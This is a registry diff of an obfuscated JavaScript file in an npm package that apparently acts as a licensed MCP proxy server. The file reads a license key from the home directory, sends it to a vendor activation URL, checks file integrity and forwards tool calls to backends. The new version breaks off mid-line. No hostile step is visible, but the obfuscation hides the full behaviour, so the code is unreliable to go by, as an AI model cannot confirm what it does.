apt-mcp-agent-setup 1.1.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- const _0x2004a1=_0x1408;(function(_0x3f2334,_0x34468a){const _0x106946=_0x1408,_0x3fab51=_0x3f2334();while(!![]){try{const _0x1984c8=-parseInt(_0x106946(0x110))/0x1+parseInt(_0x106946(0x120))/0x2+-parseInt(_0x106946(0xc2))/0x3+parseInt(_0x106946(0x123))/0x4*(-parseInt(_0x106946(0xea))/0x5)+parseInt(_0x106946(0x11f))/0x6*(-parseInt(_0x106946(0x111))/0x7)+parseInt(_0x106946(0xed))/0x8*(-parseInt(_0x106946(0xdf))/0x9)+parseInt(_0x106946(0xdd))/0xa;if(_0x1984c8===_0x34468a)break;else _0x3fab51['push'](_0x3fab51['shift']());}catch(_0x444c14){_0x3fab51['push'](_0x3fab51['shift']());}}}(_0x3ed5,0x8034f));function _0x1408(_0x376a98,_0x488f7){_0x376a98=_0x376a98-0xbc;const _0x3ed580=_0x3ed5();let _0x1408e3=_0x3ed580[_0x376a98];if(_0x1408['uNpgwH']===undefined){var _0x328b55=function(_0x1bee17){const _0x386fb1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2cfabe='',_0x147070='';for(let _0x852245=0x0,_0x4771f5,_0x1eb846,_0x56ca7b=0x0;_0x1eb846=_0x1bee17['charAt'](_0x56ca7b++);~_0x1eb846&&(_0x4771f5=_0x852245%0x4?_0x4771f5*0x40+_0x1eb846:_0x1eb846,_0x852245++%0x4)?_0x2cfabe+=String['fromCharCode'](0xff&_0x4771f5>>(-0x2*_0x852245&0x6)):0x0){_0x1eb846=_0x386fb1['indexOf'](_0x1eb846);}for(let _0x3e1e2c=0x0,_0x2266fa=_0x2cfabe['length'];_0x3e1e2c<_0x2266fa;_0x3e1e2c++){_0x147070+='%'+('00'+_0x2cfabe['charCodeAt'](_0x3e1e2c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x147070);};_0x1408['anQZct']=_0x328b55,_0x1408['oxxKnG']={},_0x1408['uNpgwH']=!![];}const _0x3920c9=_0x3ed580[0x0],_0x458227=_0x376a98+_0x3920c9,_0x1d2d23=_0x1408['oxxKnG'][_0x458227];return!_0x1d2d23?(_0x1408e3=_0x1408['anQZct'](_0x1408e3),_0x1408['oxxKnG'][_0x458227]=_0x1408e3):_0x1408e3=_0x1d2d23,_0x1408e3;}const fs=require('fs'),path=require(_0x2004a1(0x132)),os=require('os'),{verifyLicense}=require('../license/verify.js'),{spawnBackends}=require(_0x2004a1(0x145)),{translateToolList,mapExposedToOriginal}=require(_0x2004a1(0xe5));function _0x3ed5(){const _0x433554=['w01ducbbz2vUDf0GrMfPBgvKihrVihnHDMuGCMvMCMvZAgvKigXPy2vUC2uGDg9Rzw4GDg8GzgLZAZO','ywXS','w01ducbbz2vUDf0GrMfPBgvKihrVihbHCNnLiePtt04TuLbdig1LC3nHz2uGzNjVBsbJBgLLBNq6','Dg9VBhmVy2fSBa','ANnVBNjWyW','ufjprfvdveLptL9qvujmsunFs0vz','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGrMfPBgvKihrVihbHCNnLigLUDgvNCML0Es1Tyw5PzMvZDc5QC29UlIbfEgL0Aw5NlG','zgLYBMfTzq','BgLZDenOyw5Nzwq','Agv4','DMfSDwvZ','uhjVEhLtzxj2zxi','oda1mZy2sgz5wwfA','n0Dpu1PbDW','BgLJzw5ZzuTLEq','D3jPDgu','l2HLyxj0yMvHDa','yMfJA2vUzhm','w01ducbbz2vUDf0GtgLJzw5ZzsbLEhbPCMvKig9Uia','BwfZDgvYlNb1yMXPyY5Wzw0','ChjVAMvJDfbHDgG','zNjVBq','C3rKAw5mAxn0zw5LCG','y3jLyxrLsgfZAa','yxbWBgLJyxrPB24VANnVBG','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOG','C2LNBMf0DxjL','ndGXmty1mLn5D0TzyW','odu1ode0uw9Hy1vK','Dg9VBhmVBgLZDa','ChvIBgLJs2v5','mZe4mtaYogvtyuLVCG','CMvHzezPBgvtEw5J','Dg9Rzw4','Dg9ju09tDhjPBMC','DxrMoa','BwfZDgvYu2vJCMv0','Aw50zwDYAxr5twfUAwzLC3rqyxrO','w01ducbbz2vUDf0GDg9VBhmVBgLZDcbYzxf1zxn0igzHAwXLzcbMB3iGC2vYDMLJzsa','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGsw52ywXPzcbZAwDUyxr1CMuUiev4AxrPBMCU','DMfSAwq','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGDMvYAwzPy2f0Aw9UigzHAwXLzdOG','AM9PBG','ChjVDg9JB2XwzxjZAw9U','D3jPDgvgAwXLu3LUyW','mI4W','Cgf0Aa','DMvYAwz5','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGDMvYAwzPzwqGC3vJy2vZC2z1BgX5igzVCIb1C2vYoIa','DMvYC2LVBG','C2vUzfjLCxvLC3q','w01ducbbz2vUDf0GrMfPBgvKihrVigLUAxrPywXPEMuGC2vYDMLJzsa','AgvHCNrIzwf0sw50zxj2ywW','CMvJDxjZAxzL','Aw5PDgLHBgL6zq','D3jPDgvfCNjVCG','Dw5RBM93BG','BMfTzq','zxHPC3rZu3LUyW','C3rHDhvZ','CMvZDwX0','CMvHC29U','y2fWywjPBgL0AwvZ','ig1VzgLMAwvKlIbfEgL0Aw5NlG','BwnWlwfNzw50lxbYB3H5','lI9IywnRzw5KCY5QCW','C3rKAw4','zxjYB3i','BgvUz3rO','BwvZC2fNzq','Cgf1C2u','C3rHCNq','C2HHmJu2','lMfUAgrO','Bg9HzeXPy2vUC2vlzxK','ANnVBG','zxHW','igLZig5VDcbYDw5UAw5N','B3jPz2LUywXoyw1L','CgvYzM9YBuHLyxj0yMvHDa','BgLJzw5Zzs5RzxK','zgLZDa','mty2mJi3mff3qKX2uW','zxHWB3j0CW','lIbszw5LDYbHDcbODhrWCZOVl2fUAgrOlMLVl3jLBMv3lIbfEgL0Aw5NlG','Cgf5Bg9Hza','BwfW','w01ducbbz2vUDf0GsgvHCNrIzwf0ignOzwnRoIb0B2TLBIbOyxmGBgvZCYb0AgfUidyGzgf5CYbYzw1HAw5PBMCUifjLzNjLC2HPBMCUlI4','AgfUzgXLq2XPzw50rgf0yq','w01ducbbz2vUDf0GsgvHCNrIzwf0ihjLzNjLC2GGzMfPBgvKoIbtzxj2zxiGCMv0DxjUzwqG','zgf0yq','CgfYC2u','CgfYyw1Z','Dg9VBhm','DhjPBq','y29Kzq','Aw50zwDYAxr5lw1HBMLMzxn0lMPZB24','q29UDgvUDc1uExbL','BwfPBG','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGu2LNBMf0DxjLihzLCMLMAwnHDgLVBIbMywLSzwqUiev4AxrPBMCU','ywrTAw4','zw50CMLLCW','Cg9W','zxHPDa','C3rKB3v0','C3bSAxq','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGsw52ywXPzcbTyw5PzMvZDcbMB3jTyxqUiev4AxrPBMCU','tgLJzw5ZzsbLEhbPCMvK','y2XPzw50qNvMzMvY','mZq5mtu0mJbusfnXvxq','y3j5ChrV','nZq3swD2BLPp','vgfYz2v0igjHy2TLBMqG','y2HPBgq','zMXHDa','CNvUBMLUzW','vg9VBcbUB3qGzM91BMq6ia','lI9YB3v0zxiUANm','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGAgfZigjLzw4GCMv2B2TLzc4GrxHPDgLUzY4','Ag9TzwrPCG','w01ducbbz2vUDf0GsgvHCNrIzwf0oIbmAwnLBNnLihrVA2vUihn1y2nLC3nMDwXSEsbYzwzYzxnOzwqU','mJaYnc0Xms0Wnq','nxHwsMDTCG','C3rVCa','C2LNBMfS','ndiXodrmyKPOEMe','lIbdB250Aw51Aw5NihDPDgGGy2fJAgvKihrVA2vUlG','Aw5JBhvKzxm','DxbKyxrL','yMfZzty0DxjS','lI4VBgLJzw5Zzs92zxjPzNKUANm','AgfUzgXLq2XPzw50twvZC2fNzq','zgLZCgXHEu5HBwu','y2f0y2G','C3rYAw5NAwz5','zMLSzxm','zgLNzxn0','y3DK','rMfPBgvKihrVihf1zxj5ihrVB2WGBgLZDdOG','rMfPBgvKihrVihn0yxj0ifbYB3H5u2vYDMvYoG','D3jPDgvuB0nSAwvUDa','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGAw50zwDYAxr5lw1HBMLMzxn0lMPZB24GBwLZC2LUzY4GrxHPDgLUzY4','CMvTB3zLtgLZDgvUzxi','lI4VBgLJzw5Zzs9MAw5NzxjWCMLUDc5QCW','lI4VlI4','Dg9tDhjPBMC','ms4WlJa','zgv2AwnLswq'];_0x3ed5=function(){return _0x433554;};return _0x3ed5();}class ProxyServer{constructor(_0x5699df={}){const _0x5dee42=_0x2004a1;this[_0x5dee42(0x118)]=_0x5699df['projectPath']||process[_0x5dee42(0xf9)](),this[_0x5dee42(0x112)]=_0x5699df[_0x5dee42(0x112)]||this[_0x5dee42(0x14e)](),this[_0x5dee42(0x103)]=_0x5699df['deviceId'],this[_0x5dee42(0x122)]=_0x5699df['publicKey']||_0x5699df[_0x5dee42(0x128)],this[_0x5dee42(0x115)]=null,this['clientBuffer']='',this['running']=![],this[_0x5dee42(0xd8)]=_0x5699df['stdout']||process['stdout'],this[_0x5dee42(0x129)]=_0x5699df['integrityManifestPath']||path['join'](__dirname,_0x5dee42(0x100),_0x5dee42(0xd0));}[_0x2004a1(0x14e)](){const _0x589161=_0x2004a1,_0xf8fb9c=path[_0x589161(0x12e)](os['homedir'](),_0x589161(0x14d),_0x589161(0xc0));if(fs[_0x589161(0x13e)](_0xf8fb9c))return fs[_0x589161(0x124)](_0xf8fb9c,_0x589161(0x127))[_0x589161(0xce)]();return null;}async[_0x2004a1(0xbf)](){const _0x58976c=_0x2004a1,_0x52c869=process.env.MCP_SKIP_LICENSE_CHECK==='1';if(_0x52c869||!this[_0x58976c(0x112)])return;const _0x349d22=this['licenseKey']['split']('.');if(_0x349d22[_0x58976c(0x148)]!==0x3)return;let _0x456423;try{_0x456423=JSON[_0x58976c(0xcb)](Buffer[_0x58976c(0x119)](_0x349d22[0x1],'base64url')[_0x58976c(0x101)](_0x58976c(0x127)));}catch(_0xfdc96f){return;}if(!_0x456423||!_0x456423[_0x58976c(0xbc)])return;const _0x458aa0=0x6*0x18*0xe10*0x3e8,_0x58e39d=_0x456423[_0x58976c(0xbc)]-Date['now']();if(_0x58e39d<_0x458aa0){console[_0x58976c(0x147)](_0x58976c(0xc7));const _0x392fa1=process.env.MCP_ACTIVATION_URL||'https://agentkit.alphatechs.ai',_0x1b4b4f=_0x392fa1+_0x58976c(0x114),_0x55d5b3=new AbortController(),_0x34117c=setTimeout(()=>_0x55d5b3['abort'](),0x1388);try{const _0x309c96={};_0x309c96[_0x58976c(0xd1)]=_0x58976c(0x11c);const _0x5772eb={};_0x5772eb[_0x58976c(0x125)]=this[_0x58976c(0x112)];const _0xe73868=await fetch(_0x1b4b4f,{'method':'POST','headers':_0x309c96,'body':JSON['stringify'](_0x5772eb),'signal':_0x55d5b3[_0x58976c(0xec)]});clearTimeout(_0x34117c);if(_0xe73868[_0x58976c(0x13f)]===0x193){console['error'](_0x58976c(0xe6)),process[_0x58976c(0xd7)](0x1);return;}if(_0xe73868[_0x58976c(0x13f)]===0x191){console['error']('[MCP\x20Agent]\x20License\x20key\x20expired\x20or\x20invalid.\x20Exiting.'),process[_0x58976c(0xd7)](0x1);return;}if(!_0xe73868['ok']){console[_0x58976c(0x147)](_0x58976c(0xc9)+_0xe73868['status']+_0x58976c(0xee));return;}const _0x5e0eef=await _0xe73868[_0x58976c(0x14f)]();if(_0x5e0eef&&_0x5e0eef[_0x58976c(0x125)]){this['licenseKey']=_0x5e0eef[_0x58976c(0x125)];const _0x51d975=path[_0x58976c(0x12e)](os[_0x58976c(0xe7)](),_0x58976c(0x14d),_0x58976c(0xc0));try{const _0x40bdcf={};_0x40bdcf[_0x58976c(0x139)]=!![],fs['mkdirSync'](path[_0x58976c(0x10b)](_0x51d975),_0x40bdcf),fs[_0x58976c(0x130)](_0x51d975,_0x5e0eef['token'],'utf8'),console['error'](_0x58976c(0xe8));}catch(_0x1ca04f){console[_0x58976c(0x147)](_0x58976c(0x104),_0x1ca04f[_0x58976c(0x149)]);}}}catch(_0x2dd892){clearTimeout(_0x34117c),console[_0x58976c(0x147)]('[MCP\x20Agent]\x20Heartbeat\x20check\x20failed\x20or\x20timed\x20out:',_0x2dd892[_0x58976c(0x149)],'.\x20Continuing\x20with\x20cached\x20token.');}}}async['start'](){const _0x1a9d18=_0x2004a1;console[_0x1a9d18(0x147)]('[MCP\x20Agent]\x20Starting\x20server\x20at\x20'+this['projectPath']);if(!this[_0x1a9d18(0x122)]){if(process.env.MCP_ADMIN_DIR){const _0x121c46=path[_0x1a9d18(0x12e)](process.env.MCP_ADMIN_DIR,_0x1a9d18(0x117));fs['existsSync'](_0x121c46)&&(this[_0x1a9d18(0x122)]=fs[_0x1a9d18(0x124)](_0x121c46,_0x1a9d18(0x127))['trim']());}if(!this[_0x1a9d18(0x122)]){let _0x47eb03=__dirname;while(_0x47eb03){const _0x1cf242=path[_0x1a9d18(0x12e)](_0x47eb03,_0x1a9d18(0xd4),_0x1a9d18(0x117));if(fs[_0x1a9d18(0x13e)](_0x1cf242)){this[_0x1a9d18(0x122)]=fs['readFileSync'](_0x1cf242,_0x1a9d18(0x127))[_0x1a9d18(0xce)]();break;}const _0x141111=path[_0x1a9d18(0x10b)](_0x47eb03);if(_0x141111===_0x47eb03)break;_0x47eb03=_0x141111;}}}const _0x598acd=this[_0x1a9d18(0x129)],_0x24fff0=!__dirname['replace'](/\\/g,'/')[_0x1a9d18(0xd9)]('/')[_0x1a9d18(0xef)](_0x1a9d18(0xc1)),_0x409e88=process.env.MCP_SKIP_INTEGRITY_CHECK==='1'||_0x24fff0&&!fs[_0x1a9d18(0x13e)](_0x598acd);if(!_0x409e88){const _0x4ec533=require(_0x1a9d18(0xde));if(!fs[_0x1a9d18(0x13e)](_0x598acd)){console[_0x1a9d18(0x147)](_0x1a9d18(0xfd)),process[_0x1a9d18(0xd7)](0x1);return;}let _0x21f216;try{_0x21f216=JSON[_0x1a9d18(0xcb)](fs[_0x1a9d18(0x124)](_0x598acd,_0x1a9d18(0x127)));}catch(_0x2d5df0){console[_0x1a9d18(0x147)](_0x1a9d18(0x10a)),process['exit'](0x1);return;}if(!_0x21f216[_0x1a9d18(0xf7)]||!_0x21f216[_0x1a9d18(0x11e)]){console[_0x1a9d18(0x147)](_0x1a9d18(0xda)),process['exit'](0x1);return;}const _0x11265c=this[_0x1a9d18(0x122)]||require(_0x1a9d18(0xf2))[_0x1a9d18(0x109)];try{const _0x1b01ac=JSON[_0x1a9d18(0xf6)](_0x21f216['files']),_0x55e3a8=Buffer['from'](_0x21f216[_0x1a9d18(0x11e)],_0x1a9d18(0xf1)),_0x29a548=_0x4ec533[_0x1a9d18(0x133)](null,Buffer[_0x1a9d18(0x119)](_0x1b01ac),_0x11265c,_0x55e3a8);if(!_0x29a548){console[_0x1a9d18(0x147)](_0x1a9d18(0x12b)),process[_0x1a9d18(0xd7)](0x1);return;}}catch(_0x487d8c){console['error'](_0x1a9d18(0xd3)),process['exit'](0x1);return;}const _0x4282df=path['join'](__dirname,_0x1a9d18(0x100));for(const [_0x50d030,_0x2ca5fc]of Object[_0x1a9d18(0xd5)](_0x21f216[_0x1a9d18(0xf7)])){const _0x9ded79=path['join'](_0x4282df,_0x50d030);if(!fs['existsSync'](_0x9ded79)){console[_0x1a9d18(0x147)](_0x1a9d18(0x11d)+_0x50d030+'\x20modified.\x20Exiting.'),process[_0x1a9d18(0xd7)](0x1);return;}try{const _0x57ec1c=fs[_0x1a9d18(0x124)](_0x9ded79),_0x23aa95=_0x4ec533[_0x1a9d18(0x11b)](_0x1a9d18(0x14c))[_0x1a9d18(0xf0)](_0x57ec1c)[_0x1a9d18(0xf8)](_0x1a9d18(0x10d));if(_0x23aa95!==_0x2ca5fc){console['error'](_0x1a9d18(0x11d)+_0x50d030+'\x20modified.\x20Exiting.'),process[_0x1a9d18(0xd7)](0x1);return;}}catch(_0x432e52){console[_0x1a9d18(0x147)](_0x1a9d18(0x11d)+_0x50d030+_0x1a9d18(0x143)),process[_0x1a9d18(0xd7)](0x1);return;}}}const _0x40adbe=process.env.MCP_SKIP_LICENSE_CHECK==='1';if(!_0x40adbe){if(!this[_0x1a9d18(0x103)]){const {getFingerprint:_0xcb36d8}=require(_0x1a9d18(0xff));this[_0x1a9d18(0x103)]=_0xcb36d8();}const _0x4957aa=verifyLicense(this[_0x1a9d18(0x112)],this['deviceId'],this[_0x1a9d18(0x122)]);if(!_0x4957aa[_0x1a9d18(0x12c)]){if(_0x4957aa[_0x1a9d18(0x141)]===_0x1a9d18(0xdb)){const _0x44028a=_0x4957aa[_0x1a9d18(0xc5)]||{},_0x5a45f4=_0x44028a[_0x1a9d18(0xbc)]?new Date(_0x44028a['exp'])[_0x1a9d18(0x126)]()[_0x1a9d18(0xd9)]('T')[0x0]:_0x1a9d18(0x13c);console[_0x1a9d18(0x147)](_0x1a9d18(0x116)+_0x5a45f4+_0x1a9d18(0xc4));}else console['error'](_0x1a9d18(0x12d)+_0x4957aa[_0x1a9d18(0x141)]+'.\x20Contact\x20support\x20at\x20support@anhdh.io.\x20Exiting.');process[_0x1a9d18(0xd7)](0x1);return;}console['error'](_0x1a9d18(0x134)+_0x4957aa[_0x1a9d18(0xc5)]['user']),await this['performHeartbeat'](),this[_0x1a9d18(0x138)]=setInterval(()=>{this['performHeartbeat']()['catch'](_0x51a3ab=>{const _0x126a49=_0x1408;console[_0x126a49(0x147)]('[MCP\x20Agent]\x20Periodic\x20heartbeat\x20error:',_0x51a3ab[_0x126a49(0x149)]);});},0x18*0x3c*0x3c*0x3e8);}this[_0x1a9d18(0x115)]=spawnBackends(this[_0x1a9d18(0x118)]),this['running']=!![];for(const _0x5bf6ec of Object['values'](this[_0x1a9d18(0x115)])){_0x5bf6ec['start']();}this['stdinListener']=_0xa4004a=>{const _0x19444e=_0x1a9d18;this[_0x19444e(0xc8)](_0xa4004a[_0x19444e(0x101)]());},process[_0x1a9d18(0x146)]['on'](_0x1a9d18(0xca),this['stdinListener']);}['handleClientData'](_0x3142a2){const _0x17f296=_0x2004a1;this[_0x17f296(0xdc)]+=_0x3142a2;const _0x497982=this[_0x17f296(0xdc)][_0x17f296(0xd9)]('\x0a');this[_0x17f296(0xdc)]=_0x497982[_0x17f296(0xd6)]();for(const _0x47089b of _0x497982){const _0x23fadc=_0x47089b[_0x17f296(0xce)]();if(!_0x23fadc)continue;try{const _0x192faf=JSON[_0x17f296(0xcb)](_0x23fadc);this[_0x17f296(0xf3)](_0x192faf);}catch(_0x3a2a54){console[_0x17f296(0x147)](_0x17f296(0x106),_0x47089b,_0x3a2a54[_0x17f296(0x149)]);}}}async['handleClientMessage'](_0x46adc0){const _0x319bf0=_0x2004a1,{id:_0x44ce74,method:_0x4e4cdb,params:_0x2d5508}=_0x46adc0;if(!_0x4e4cdb)return;if(_0x4e4cdb===_0x319bf0(0x13a)){Promise[_0x319bf0(0x105)](Object[_0x319bf0(0x10e)](this[_0x319bf0(0x115)])['map'](_0x49550a=>_0x49550a[_0x319bf0(0x136)]('initialize',_0x2d5508)[_0x319bf0(0xf5)](_0x336a96=>{const _0x4f4f1a=_0x319bf0;console[_0x4f4f1a(0x147)](_0x4f4f1a(0x137)+(_0x49550a[_0x4f4f1a(0xf4)]||_0x49550a[_0x4f4f1a(0x13d)])+':',_0x336a96['message']);})));const _0x3c1ae5={};_0x3c1ae5[_0x319bf0(0x10c)]=![];const _0x333953={};_0x333953[_0x319bf0(0xcd)]=_0x3c1ae5;const _0x546586={};_0x546586[_0x319bf0(0x13d)]=_0x319bf0(0x144),_0x546586[_0x319bf0(0x135)]=_0x319bf0(0x102);const _0xe31875={};_0xe31875[_0x319bf0(0x12f)]=_0x2d5508[_0x319bf0(0x12f)]||_0x319bf0(0xe9),_0xe31875[_0x319bf0(0x142)]=_0x333953,_0xe31875['serverInfo']=_0x546586;const _0x1e2126={};_0x1e2126[_0x319bf0(0x108)]=_0x319bf0(0x131),_0x1e2126['id']=_0x44ce74,_0x1e2126[_0x319bf0(0x140)]=_0xe31875;const _0x987ebd=_0x1e2126;this[_0x319bf0(0xfc)](_0x987ebd);return;}if(_0x4e4cdb===_0x319bf0(0x121)){try{const _0x4cd453=Object[_0x319bf0(0xd5)](this['backends'])[_0x319bf0(0xc6)](async([_0xd067c0,_0x4acf75])=>{const _0x2c1dfd=_0x319bf0;try{const _0xf7e3d8=await _0x4acf75[_0x2c1dfd(0x136)](_0x2c1dfd(0x121)),_0x2cf1ab=_0xf7e3d8&&_0xf7e3d8[_0x2c1dfd(0x140)]&&_0xf7e3d8['result']['tools']||[];return translateToolList(_0x2cf1ab,_0xd067c0);}catch(_0x36916f){return console[_0x2c1dfd(0x147)](_0x2c1dfd(0x12a)+_0xd067c0+':',_0x36916f[_0x2c1dfd(0x149)]),[];}}),_0x32c2d8=await Promise[_0x319bf0(0x105)](_0x4cd453),_0x49f706=_0x32c2d8[_0x319bf0(0xe2)](),_0x257725={};_0x257725['tools']=_0x49f706;const _0x338e5e={};_0x338e5e['jsonrpc']=_0x319bf0(0x131),_0x338e5e['id']=_0x44ce74,_0x338e5e[_0x319bf0(0x140)]=_0x257725;const _0x2791f8=_0x338e5e;this[_0x319bf0(0xfc)](_0x2791f8);}catch(_0x247079){this[_0x319bf0(0x13b)](_0x44ce74,-0x7f5b,_0x319bf0(0xfa)+_0x247079[_0x319bf0(0x149)]);}return;}if(_0x4e4cdb===_0x319bf0(0x107)){const _0x564d8a=_0x2d5508['name'],_0x13b8dc=mapExposedToOriginal(_0x564d8a);if(!_0x13b8dc)return this[_0x319bf0(0x13b)](_0x44ce74,-0x7f59,_0x319bf0(0xe4)+_0x564d8a);try{const _0xe2ee1a=this[_0x319bf0(0x115)][_0x13b8dc['backend']];if(!_0xe2ee1a)return this[_0x319bf0(0x13b)](_0x44ce74,-0x7f5b,_0x319bf0(0xe0)+_0x13b8dc['backend']+_0x319bf0(0xbd));const _0x956632={..._0x2d5508};_0x956632[_0x319bf0(0x13d)]=_0x13b8dc[_0x319bf0(0xbe)];const _0x4c1b41={..._0x46adc0};_0x4c1b41[_0x319bf0(0xcc)]=_0x956632;const _0xc628a1=_0x4c1b41,_0x741ecf=await _0xe2ee1a['forwardRequest'](_0xc628a1);this[_0x319bf0(0xfc)](_0x741ecf);}catch(_0x21642a){this['writeError'](_0x44ce74,-0x7f5b,'Tool\x20execution\x20failed:\x20'+_0x21642a[_0x319bf0(0x149)]);}return;}for(const _0x656a0f of Object[_0x319bf0(0x10e)](this[_0x319bf0(0x115)])){_0x656a0f['child']&&_0x656a0f[_0x319bf0(0xe1)][_0x319bf0(0x146)][_0x319bf0(0x113)](JSON[_0x319bf0(0xf6)](_0x46adc0)+'\x0a');}}[_0x2004a1(0xfc)](_0x1cc76c){const _0xe2800=_0x2004a1;this[_0xe2800(0xd8)][_0xe2800(0x113)](JSON['stringify'](_0x1cc76c)+'\x0a');}['writeError'](_0x1e41da,_0x19bf17,_0x1b3892){const _0x530149=_0x2004a1,_0x909d91={};_0x909d91[_0x530149(0xcf)]=_0x19bf17,_0x909d91[_0x530149(0x149)]=_0x1b3892;const _0xc25af={};_0xc25af[_0x530149(0x108)]=_0x530149(0x131),_0xc25af['id']=_0x1e41da,_0xc25af[_0x530149(0x147)]=_0x909d91;const _0x378556=_0xc25af;this[_0x530149(0xfc)](_0x378556);}[_0x2004a1(0xeb)](){const _0xe364cf=_0x2004a1;this[_0xe364cf(0xe3)]=![];this['heartbeatInterval']&&(clearInterval(this[_0xe364cf(0x138)]),this[_0xe364cf(0x138)]=null);this[_0xe364cf(0x11a)]&&(process['stdin'][_0xe364cf(0xfe)](_0xe364cf(0xca),this['stdinListener']),this[_0xe364cf(0x11a)]=null,process[_0xe364cf(0x146)][_0xe364cf(0x14a)]());if(this['backends'])for(const _0x245b48 of Object['values'](this[_0xe364cf(0x115)])){_0x245b48[_0xe364cf(0xeb)]();}}}const _0x14e4bd={};_0x14e4bd[_0x2004a1(0x10f)]=ProxyServer,module[_0x2004a1(0xc3)]=_0x14e4bd;if(require[_0x2004a1(0xd2)]===module){const server=new ProxyServer();server[_0x2004a1(0x14b)]()[_0x2004a1(0xf5)](_0x528ebf=>{const _0x4ab56e=_0x2004a1;console[_0x4ab56e(0x147)](_0x4ab56e(0xfb),_0x528ebf[_0x4ab56e(0x149)]),process['exit'](0x1);});}
1
+ const _0x1c5686=_0x3e21;(function(_0x34aacf,_0x1450df){const _0x4acc05=_0x3e21,_0x572dc8=_0x34aacf();while(!![]){try{const _0x3bbc82=parseInt(_0x4acc05(0x152))/0x1*(parseInt(_0x4acc05(0x10d))/0x2)+parseInt(_0x4acc05(0xe7))/0x3+parseInt(_0x4acc05(0x12c))/0x4*(parseInt(_0x4acc05(0x138))/0x5)+parseInt(_0x4acc05(0x15c))/0x6+parseInt(_0x4acc05(0x164))/0x7+-parseInt(_0x4acc05(0x112))/0x8+parseInt(_0x4acc05(0x110))/0x9*(-parseInt(_0x4acc05(0xfb))/0xa);if(_0x3bbc82===_0x1450df)break;else _0x572dc8['push'](_0x572dc8['shift']());}catch(_0x1f4ff5){_0x572dc8['push'](_0x572dc8['shift']());}}}(_0x4d2e,0xb7d8f));const fs=require('fs'),path=require(_0x1c5686(0x133)),os=require('os'),{verifyLicense}=require('../license/verify.js'),{spawnBackends}=require(_0x1c5686(0x109)),{translateToolList,mapExposedToOriginal}=require(_0x1c5686(0xe1));class ProxyServer{constructor(_0x4f4b18={}){const _0x3292c1=_0x1c5686;this[_0x3292c1(0x126)]=_0x4f4b18[_0x3292c1(0x126)]||process[_0x3292c1(0x10b)](),this['licenseKey']=_0x4f4b18[_0x3292c1(0x13f)]||this[_0x3292c1(0x154)](),this[_0x3292c1(0x13e)]=_0x4f4b18[_0x3292c1(0x13e)],this['publicKey']=_0x4f4b18[_0x3292c1(0xf9)]||_0x4f4b18[_0x3292c1(0x107)],this['backends']=null,this[_0x3292c1(0x11c)]='',this[_0x3292c1(0x166)]=![],this[_0x3292c1(0x105)]=_0x4f4b18['stdout']||process[_0x3292c1(0x105)],this['integrityManifestPath']=_0x4f4b18[_0x3292c1(0xfc)]||path[_0x3292c1(0x100)](__dirname,'../..','integrity-manifest.json');}[_0x1c5686(0x154)](){const _0x5ce050=_0x1c5686,_0x54422f=path[_0x5ce050(0x100)](os['homedir'](),_0x5ce050(0x12f),'license.key');if(fs['existsSync'](_0x54422f))return fs['readFileSync'](_0x54422f,'utf8')['trim']();return null;}async[_0x1c5686(0x156)](){const _0x175eaf=_0x1c5686,_0x491f49=process.env.MCP_SKIP_LICENSE_CHECK==='1';if(_0x491f49||!this[_0x175eaf(0x13f)])return;const _0x221bf8=this[_0x175eaf(0x13f)][_0x175eaf(0x15e)]('.');if(_0x221bf8['length']!==0x3)return;let _0x42a6ed;try{_0x42a6ed=JSON[_0x175eaf(0x144)](Buffer['from'](_0x221bf8[0x1],_0x175eaf(0x121))['toString'](_0x175eaf(0x125)));}catch(_0x1d6b6c){return;}if(!_0x42a6ed||!_0x42a6ed[_0x175eaf(0xf7)])return;const _0xfdcfbb=0x6*0x18*0xe10*0x3e8,_0xc503f0=_0x42a6ed['exp']-Date['now']();if(_0xc503f0<_0xfdcfbb){console[_0x175eaf(0x14a)](_0x175eaf(0x136));const _0x477ba9=process.env.MCP_ACTIVATION_URL||'https://agentkit.alphatechs.ai',_0x44b5a9=_0x477ba9+_0x175eaf(0x16e),_0x3fb271=new AbortController(),_0x4b5c38=setTimeout(()=>_0x3fb271[_0x175eaf(0x143)](),0x1388);try{const _0x308101={};_0x308101['Content-Type']=_0x175eaf(0x16b);const _0x3bd6c6={};_0x3bd6c6[_0x175eaf(0x15b)]=this[_0x175eaf(0x13f)];const _0x128a56=await fetch(_0x44b5a9,{'method':_0x175eaf(0x127),'headers':_0x308101,'body':JSON[_0x175eaf(0x115)](_0x3bd6c6),'signal':_0x3fb271['signal']});clearTimeout(_0x4b5c38);if(_0x128a56[_0x175eaf(0x160)]===0x193){console['error'](_0x175eaf(0xe5)),process[_0x175eaf(0x16d)](0x1);return;}if(_0x128a56[_0x175eaf(0x160)]===0x191){console[_0x175eaf(0x14a)](_0x175eaf(0x13c)),process[_0x175eaf(0x16d)](0x1);return;}if(!_0x128a56['ok']){console[_0x175eaf(0x14a)](_0x175eaf(0xed)+_0x128a56[_0x175eaf(0x160)]+_0x175eaf(0x14d));return;}const _0x321fd7=await _0x128a56[_0x175eaf(0x123)]();if(_0x321fd7&&_0x321fd7[_0x175eaf(0x15b)]){this['licenseKey']=_0x321fd7[_0x175eaf(0x15b)];const _0x52103d=path[_0x175eaf(0x100)](os[_0x175eaf(0x101)](),_0x175eaf(0x12f),_0x175eaf(0x162));try{const 